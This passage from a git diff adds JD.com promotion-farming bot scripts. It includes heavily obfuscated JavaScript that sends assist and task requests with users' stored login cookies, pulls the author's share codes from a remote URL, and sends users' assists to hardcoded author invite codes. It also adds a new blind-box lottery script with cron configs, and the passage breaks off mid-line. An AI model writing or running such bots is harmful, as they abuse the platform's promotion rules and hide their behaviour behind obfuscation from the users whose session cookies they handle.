5c3d('111','$lyO')]&&$['h5activityIndex']['data'][_0x162440['aOmMF']]){const _0x5e5760=$[_0x5c3d('315','@YZ@')][_0x162440['CvXJp']][_0x5c3d('316',']loZ')]['rewards']||[];for(let _0x5ac63a of _0x5e5760){$[_0x5c3d('317','inWv')]+=_0x5ac63a[_0x5c3d('318','sEZ[')];}if($[_0x5c3d('319','o%Hs')])$[_0x5c3d('31a','@YZ@')]=$['discount'][_0x5c3d('31b','XpI[')](0x2);}}else{_0x1dd6a5=JSON['parse'](_0x1dd6a5);if(_0x1dd6a5&&_0x1dd6a5[_0x5c3d('31c','p4$W')]&&_0x1dd6a5[_0x5c3d('15b','OghG')]['biz_code']===0x0){console['log']('助力结果:'+_0x1dd6a5[_0x5b01ff[_0x5c3d('31d','J(]D')]][_0x5b01ff['CreDx']][_0x5b01ff[_0x5c3d('31e','inWv')]]);if(_0x5b01ff['XPhld'](_0x1dd6a5[_0x5c3d('122','dECe')][_0x5b01ff[_0x5c3d('31f','qi!x')]][_0x5b01ff[_0x5c3d('320','lR53')]],0x3))$[_0x5c3d('321','sEZ[')]=![];if(_0x1dd6a5[_0x5b01ff[_0x5c3d('322','@YZ@')]][_0x5b01ff[_0x5c3d('323','sEZ[')]][_0x5b01ff[_0x5c3d('324','Ykax')]]===0x9)$['canHelp']=![];}else{console[_0x5c3d('4f','4%Cg')](_0x5c3d('325','8ye]')+JSON[_0x5c3d('326','fCgc')](_0x1dd6a5));}}}}}catch(_0x330ef8){$[_0x5c3d('327',')4(@')](_0x330ef8,_0x4c2cfe);}finally{_0x162440['bsMVx'](_0x4fdd05);}}});});}async function doAppTask(_0x5dc9db='1'){var _0x24594b={'mXfhN':_0x5c3d('328','lR53'),'hQStI':function(_0x44e700,_0x5ca729,_0x14dcd2,_0x3e29f9){return _0x44e700(_0x5ca729,_0x14dcd2,_0x3e29f9);},'jVhOM':'getCcTaskList','mgzyY':_0x5c3d('329','lR53'),'CrwZj':function(_0x2d412d,_0x532632,_0x549e72,_0x512387){return _0x2d412d(_0x532632,_0x549e72,_0x512387);}};let _0x2c2d84={'pageClickKey':_0x5c3d('32a','pqb('),'childActivityUrl':_0x24594b[_0x5c3d('32b','1xX6')],'lat':'','globalLat':'','lng':'','globalLng':''};await _0x24594b[_0x5c3d('32c','QeIx')](getCcTaskList,_0x24594b['jVhOM'],_0x2c2d84,_0x5dc9db);_0x2c2d84={'globalLng':'','globalLat':'','monitorSource':'ccgroup_ios_index_task','monitorRefer':'','taskType':'1','childActivityUrl':_0x5c3d('32d','DI]G'),'pageClickKey':_0x24594b[_0x5c3d('32e','afg[')],'lat':'','taskId':_0x5c3d('32f','SI!Z'),'lng':''};await $[_0x5c3d('330','s%P1')](0x2904);await _0x24594b['CrwZj'](getCcTaskList,_0x5c3d('331','OghG'),_0x2c2d84,_0x5dc9db);}function getCcTaskList(_0xc3ff0a,_0x2374b3,_0x4f75cc='1'){var _0x1d4147={'ssSwU':_0x5c3d('332','(S7p'),'MNtWa':'hasSendNumber','cUVqh':'assistants','HQbwN':function(_0x5ad9b1,_0x2032cc){return _0x5ad9b1(_0x2032cc);},'pGvhX':_0x5c3d('333','NJq]'),'qXgWt':'PmkhB','uJsqL':'ZEBou','rxjdw':'getCcTaskList','SOfCH':function(_0x4c4175,_0x9d81ea){return _0x4c4175===_0x9d81ea;},'BbEaB':_0x5c3d('334','o7vD'),'KwxqA':function(_0x17c825,_0x20e7b5){return _0x17c825!==_0x20e7b5;},'woXdF':'TuOnv','TuNAW':_0x5c3d('335','RJ[D'),'tPWLb':function(_0x1eac18,_0x427815){return _0x1eac18(_0x427815);},'Owrll':function(_0x5c1f32,_0x606adf){return _0x5c1f32(_0x606adf);},'tNLwl':'application/json,\x20text/plain,\x20*/*','AMSCM':_0x5c3d('336','$lyO'),'EWTON':'zh-cn','vGUdI':'keep-alive','mGCLo':_0x5c3d('337','I($f'),'GyDUe':'https://h5.m.jd.com','jdOlv':_0x5c3d('338','J(]D'),'AcdpN':_0x5c3d('339','lR53'),'Wojio':_0x5c3d('33a','p4$W')};let _0x5c7395='';return new Promise(_0x255188=>{var _0x1f300a={'fyhOR':_0x1d4147[_0x5c3d('33b','pqb(')],'lQwmV':_0x5c3d('33c','inWv'),'WNLau':_0x1d4147[_0x5c3d('33d','4%Cg')],'hrQuN':_0x1d4147['cUVqh'],'SsPRb':function(_0xa4479f,_0x4d8cf0){return _0x1d4147[_0x5c3d('33e','p4$W')](_0xa4479f,_0x4d8cf0);},'SQWEn':_0x1d4147[_0x5c3d('33f','n@nG')],'PndHZ':function(_0x586b27,_0x59a869){return _0x586b27===_0x59a869;},'KoPGq':_0x1d4147[_0x5c3d('340','XpI[')],'gETOZ':_0x5c3d('341',']loZ'),'VUfQG':_0x1d4147[_0x5c3d('342','GEp&')]};if(_0xc3ff0a===_0x1d4147[_0x5c3d('343','Vm#Z')]){_0x5c7395='https://api.m.jd.com/client.action?functionId='+_0xc3ff0a+_0x5c3d('344','XpI[')+_0x1d4147[_0x5c3d('33e','p4$W')](escape,JSON[_0x5c3d('1aa','qi!x')](_0x2374b3))+_0x5c3d('345','DI]G');}else if(_0x1d4147[_0x5c3d('346','1xX6')](_0xc3ff0a,_0x1d4147[_0x5c3d('347','GR%&')])){if(_0x1d4147['KwxqA'](_0x1d4147['woXdF'],_0x1d4147[_0x5c3d('348',']G5@')])){_0x5c7395=_0x5c3d('349','m0Q1')+_0xc3ff0a+_0x5c3d('34a','8ye]')+_0x1d4147[_0x5c3d('34b','Jnb7')](escape,JSON['stringify'](_0x2374b3))+_0x5c3d('34c','P3j6');}else{const _0x557ef4=$[_0x5c3d('34d','afg[')][_0x1f300a[_0x5c3d('34e','QeIx')]][_0x1f300a[_0x5c3d('34f','DI]G')]][_0x5c3d('350','$lyO')]||[];$['hasSendNumber']=$['h5activityIndex'][_0x5c3d('157','I($f')][_0x1f300a[_0x5c3d('351','pqb(')]][_0x1f300a[_0x5c3d('352','p4$W')]];if($['h5activityIndex'][_0x5c3d('353','s2t@')]['result'][_0x1f300a[_0x5c3d('354','DI]G')]]){$['assistants']=$['h5activityIndex'][_0x5c3d('122','dECe')][_0x1f300a[_0x5c3d('355','oaTe')]][_0x1f300a[_0x5c3d('356','$lyO')]][_0x5c3d('357','lR53')]||0x0;}}}const _0x49ddb5={'url':_0x5c7395,'body':_0x5c3d('358','DI]G')+_0x1d4147[_0x5c3d('359','oaTe')](escape,JSON[_0x5c3d('35a','oaTe')](_0x2374b3)),'headers':{'Accept':_0x1d4147[_0x5c3d('35b','m)@n')],'Accept-Encoding':_0x1d4147[_0x5c3d('35c','RJ[D')],'Accept-Language':_0x1d4147[_0x5c3d('35d','4%Cg')],'Connection':_0x1d4147[_0x5c3d('35e','@YZ@')],'Content-Length':'63','Content-Type':_0x5c3d('35f','piza'),'Host':_0x1d4147['mGCLo'],'Origin':_0x1d4147['GyDUe'],'Cookie':cookie,'Referer':'https://h5.m.jd.com/babelDiy/Zeus/4ZK4ZpvoSreRB92RRo8bpJAQNoTq/index.html','User-Agent':$[_0x5c3d('360','lR53')]()?process[_0x5c3d('361','qt1B')][_0x5c3d('362','afg[')]?process[_0x5c3d('305','1xX6')][_0x5c3d('363','o%Hs')]:require(_0x1d4147[_0x5c3d('364','I($f')])[_0x5c3d('365',')4(@')]:$[_0x5c3d('366','8ye]')](_0x1d4147[_0x5c3d('367','SI!Z')])?$['getdata'](_0x1d4147[_0x5c3d('368','Vm#Z')]):_0x1d4147[_0x5c3d('369','NJq]')]}};$[_0x5c3d('36a','o7vD')](_0x49ddb5,async(_0x77d0b0,_0x4b4e13,_0x395ac5)=>{var _0x4d439d={'jzRda':function(_0x18145d,_0x4e0861){return _0x1f300a['SsPRb'](_0x18145d,_0x4e0861);},'EqNmc':_0x5c3d('36b','m)@n'),'BPizI':_0x1f300a[_0x5c3d('36c','inWv')],'gzTpY':_0x1f300a['fyhOR']};if(_0x1f300a['PndHZ'](_0x1f300a[_0x5c3d('36d','pqb(')],_0x5c3d('36e','fCgc'))){try{if(_0x77d0b0){console[_0x5c3d('47','o7vD')](''+JSON[_0x5c3d('d8',']loZ')](_0x77d0b0));console['log']($[_0x5c3d('250','o7vD')]+'\x20API请求失败,请检查网路重试');}else{if(_0x395ac5){if(_0x1f300a[_0x5c3d('36f','XpI[')](_0x4f75cc,'1')&&_0x1f300a['PndHZ'](_0xc3ff0a,'reportCcTask'))console['log'](_0x5c3d('370','f$@p')+_0x395ac5);}}}catch(_0x42e673){if(_0x1f300a['gETOZ']!=='bFxbc'){_0x4d439d[_0x5c3d('371','1xX6')](_0x255188,_0x395ac5);}else{$[_0x5c3d('372','f$@p')](_0x42e673,_0x4b4e13);}}finally{if(_0x1f300a['VUfQG']!==_0x1f300a[_0x5c3d('373','Ykax')]){$['assistants']=$[_0x5c3d('374','1xX6')][_0x5c3d('375','qi!x')][_0x1f300a[_0x5c3d('355','oaTe')]][_0x1f300a[_0x5c3d('356','$lyO')]]['length']||0x0;}else{_0x255188();}}}else{console[_0x5c3d('159','$[C2')](_0x5c3d('376','8ye]')+_0x395ac5[_0x5c3d('155',']G5@')][_0x4d439d[_0x5c3d('377','P3j6')]][_0x4d439d[_0x5c3d('378',']G5@')]]);$[_0x5c3d('379','96*f')][_0x5c3d('37a','GR%&')](_0x395ac5[_0x4d439d['gzTpY']][_0x4d439d[_0x5c3d('37b','lR53')]][_0x5c3d('37c','KKA&')]);}});});}function getAuthorShareCode(_0x353afa=_0x5c3d('37d','o%Hs')){var _0xc12a3c={'flshv':function(_0x310145,_0x4c555b){return _0x310145!==_0x4c555b;},'hsAMY':_0x5c3d('37e',']G5@'),'SNqTL':_0x5c3d('37f','Jnb7'),'SILaA':_0x5c3d('380','oaTe'),'bAway':_0x5c3d('381','8ye]'),'VFwEy':'Mozilla/5.0\x20(iPhone;\x20CPU\x20iPhone\x20OS\x2013_2_3\x20like\x20Mac\x20OS\x20X)\x20AppleWebKit/605.1.15\x20(KHTML,\x20like\x20Gecko)\x20Version/13.0.3\x20Mobile/15E148\x20Safari/604.1\x20Edg/87.0.4280.88','jlwzL':function(_0x164785,_0x156390){return _0x164785(_0x156390);},'Zfigs':'tunnel','ejnJi':function(_0x1446aa,_0x28d553){return _0x1446aa*_0x28d553;}};return new Promise(_0xa212ba=>{var _0x369d0e={'jZHSQ':function(_0x77e22a,_0x394ba2){return _0xc12a3c[_0x5c3d('382','n@nG')](_0x77e22a,_0x394ba2);},'JaNEQ':_0xc12a3c['hsAMY'],'NhTNy':_0xc12a3c[_0x5c3d('383','wc[h')],'jHGgI':_0xc12a3c[_0x5c3d('384','m0Q1')],'aSZoh':function(_0xfa5bbc,_0x510a77){return _0xfa5bbc!==_0x510a77;},'mKFns':_0xc12a3c['bAway']};const _0x1f09e6={'url':_0x353afa+'?'+new Date(),'timeout':0x2710,'headers':{'User-Agent':_0xc12a3c[_0x5c3d('385','J(]D')]}};if($[_0x5c3d('386','qi!x')]()&&process[_0x5c3d('387','8ye]')][_0x5c3d('388','QeIx')]&&process['env'][_0x5c3d('389','#g!5')]){const _0x317df7=_0xc12a3c[_0x5c3d('38a','n@nG')](require,_0xc12a3c[_0x5c3d('38b','s2t@')]);const _0xe378a3={'https':_0x317df7[_0x5c3d('38c','#g!5')]({'proxy':{'host':process[_0x5c3d('38d','$lyO')][_0x5c3d('38e','DI]G')],'port':_0xc12a3c[_0x5c3d('38f','GEp&')](process[_0x5c3d('390','n@nG')][_0x5c3d('391','pqb(')],0x1)}})};Object[_0x5c3d('392','qt1B')](_0x1f09e6,{'agent':_0xe378a3});}$[_0x5c3d('393','o7vD')](_0x1f09e6,async(_0x3bd83,_0xe91b83,_0x4b5727)=>{if(_0x369d0e[_0x5c3d('394','QeIx')](_0x369d0e[_0x5c3d('395',']loZ')],_0x5c3d('396','qt1B'))){if(_0x3bd83){console[_0x5c3d('17a','KKA&')]('\x0a'+$['name']+_0x5c3d('397','m)@n'));console['log'](JSON[_0x5c3d('a9','7De#')](_0x3bd83));}else{_0x4b5727=JSON[_0x5c3d('398','KKA&')](_0x4b5727);}}else{try{if(_0x3bd83){}else{if(_0x369d0e[_0x5c3d('399','pqb(')]===_0x369d0e['jHGgI']){if(_0x3bd83){console[_0x5c3d('2c4','f$@p')]('\x0a'+$[_0x5c3d('39a','NJq]')]+_0x5c3d('39b','o%Hs'));console['log'](JSON[_0x5c3d('248','QeIx')](_0x3bd83));}else{console[_0x5c3d('202','Vm#Z')](_0x5c3d('39c',']G5@')+_0x4b5727);_0x4b5727=JSON['parse'](_0x4b5727);}}else{if(_0x4b5727)_0x4b5727=JSON['parse'](_0x4b5727);}}}catch(_0x5f1826){}finally{if(_0x369d0e['aSZoh'](_0x369d0e[_0x5c3d('39d','NJq]')],_0x369d0e[_0x5c3d('39e','QeIx')])){$[_0x5c3d('39f','(S7p')](e,_0xe91b83);}else{_0xa212ba(_0x4b5727);}}}});});}function taskUrl(_0x175cd6,_0x300a9f){var _0x50f081={'IGOfn':function(_0xda5f5f,_0x1a7ab9){return _0xda5f5f*_0x1a7ab9;},'lAZbU':_0x5c3d('3a0','n@nG'),'IxlIf':_0x5c3d('3a1','sEZ['),'eoOQF':'gzip,\x20deflate,\x20br','mlojz':'keep-alive','akXzH':_0x5c3d('3a2','DI]G'),'gLwEl':function(_0x53956b,_0x478649){return _0x53956b(_0x478649);},'fazKK':'JDUA','DTiEG':_0x5c3d('33a','p4$W'),'PKOHb':_0x5c3d('3a3','s2t@')};return{'url':JD_API_HOST+_0x5c3d('3a4','4%Cg')+_0x175cd6+'&loginType=2&client=jd_mp_h5&t='+_0x50f081[_0x5c3d('3a5','o7vD')](new Date()[_0x5c3d('2df','p4$W')](),0x3e8),'body':'body='+JSON['stringify'](_0x300a9f),'headers':{'Host':_0x50f081[_0x5c3d('3a6','@YZ@')],'Content-Type':_0x50f081[_0x5c3d('3a7','GEp&')],'Origin':_0x5c3d('3a8','DI]G'),'Accept-Encoding':_0x50f081[_0x5c3d('3a9','f$@p')],'Cookie':cookie,'Connection':_0x50f081[_0x5c3d('3aa','GR%&')],'Accept':_0x50f081[_0x5c3d('3ab','o%Hs')],'User-Agent':$[_0x5c3d('3ac','oaTe')]()?process['env'][_0x5c3d('3ad','(S7p')]?process[_0x5c3d('3ae','Ykax')][_0x5c3d('3af','XpI[')]:_0x50f081[_0x5c3d('3b0','oaTe')](require,_0x5c3d('2e7','KKA&'))[_0x5c3d('3b1','Vm#Z')]:$[_0x5c3d('3b2','o%Hs')](_0x50f081[_0x5c3d('3b3','piza')])?$['getdata'](_0x5c3d('3b4','OghG')):_0x50f081['DTiEG'],'Referer':_0x50f081['PKOHb'],'Content-Length':'36','Accept-Language':'zh-cn'}};};_0xode='jsjiami.com.v6'; + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +// md5 +!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_sgmh.js b/jd_sgmh.js new file mode 100644 index 0000000..700025b --- /dev/null +++ b/jd_sgmh.js @@ -0,0 +1,393 @@ +/* +闪购盲盒 +长期活动,一人每天5次助力机会,10次被助机会,被助力一次获得一次抽奖机会,前几次必中京豆 +修改自 @yangtingxiao 抽奖机脚本 +活动入口:京东APP首页-闪购-闪购盲盒 +网页地址:https://h5.m.jd.com/babelDiy/Zeus/3vzA7uGuWL2QeJ5UeecbbAVKXftQ/index.html +更新地址:jd_sgmh.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#闪购盲盒 +20 8 * * * jd_sgmh.js, tag=闪购盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "20 8 * * *" script-path=jd_sgmh.js, tag=闪购盲盒 + +===============Surge================= +闪购盲盒 = type=cron,cronexp="20 8 * * *",wake-system=1,timeout=3600,script-path=jd_sgmh.js + +============小火箭========= +闪购盲盒 = type=cron,script-path=jd_sgmh.js, cronexpr="20 8 * * *", timeout=3600, enable=true + + */ +const $ = new Env('闪购盲盒'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let appId = '1EFRXxg' , homeDataFunPrefix = 'interact_template', collectScoreFunPrefix = 'harmony', message = '' +let lotteryResultFunPrefix = homeDataFunPrefix, browseTime = 6 +const inviteCodes = [ + 'T019-aknAFRllhyoQlyI46gCjVQmoaT5kRrbA@T010_aU6SR8Q_QCjVQmoaT5kRrbA@T0225KkcRhcbp1CBJhv0wfZedQCjVQmoaT5kRrbA@T027Zm_olqSxIOtH97BATGmKoWraLawCjVQmoaT5kRrbA', + 'T019-aknAFRllhyoQlyI46gCjVQmoaT5kRrbA@T010_aU6SR8Q_QCjVQmoaT5kRrbA@T027Zm_olqSxIOtH97BATGmKoWraLawCjVQmoaT5kRrbA@T0225KkcRk1N_FeCJhv3xvdfcQCjVQmoaT5kRrbA' +]; +const randomCount = $.isNode() ? 20 : 5; +const notify = $.isNode() ? require('./sendNotify') : ''; +let merge = {} +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + await requireConfig(); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = '' + await TotalBean(); + await shareCodesFormat(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 